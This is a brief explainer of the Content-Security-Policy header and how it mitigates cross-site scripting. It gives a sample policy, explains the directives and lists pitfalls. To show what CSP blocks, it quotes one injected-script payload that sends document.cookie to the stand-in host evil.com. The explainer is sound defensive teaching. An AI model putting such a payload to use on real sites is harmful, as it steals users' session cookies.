What is the Content-Security-Policy (CSP) header and what attack does it primarily defend against?
CSP is a fine-grained allowlist that tells the browser which sources the page is allowed to load scripts, styles, images, fonts, frames, etc. from — its main job is mitigating cross-site scripting (XSS).
A minimal policy:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'
default-src 'self'— load resources only from the page's own origin by default.script-src 'self' 'nonce-r4nd0m'— JS allowed from own origin, plus any<script nonce="r4nd0m">tag the server emitted.object-src 'none'— block<object>/<embed>entirely (legacy Flash attack surface).
Why this beats XSS: even if an attacker injects <script>fetch('//evil.com/?'+document.cookie)</script> into your page, the browser won't run it — the script source evil.com isn't allowlisted, and the inline script has no valid nonce.
Pitfalls:
'unsafe-inline'defeats most of the point — don't use it.'unsafe-eval'allowseval()and friends — avoid.- Start in report-only mode (
Content-Security-Policy-Report-Only) to catch violations before enforcing.
Tip: A perfectly-written CSP makes most reflected-XSS bugs unexploitable. It's the single biggest leverage point in modern web security headers — worth the engineering effort.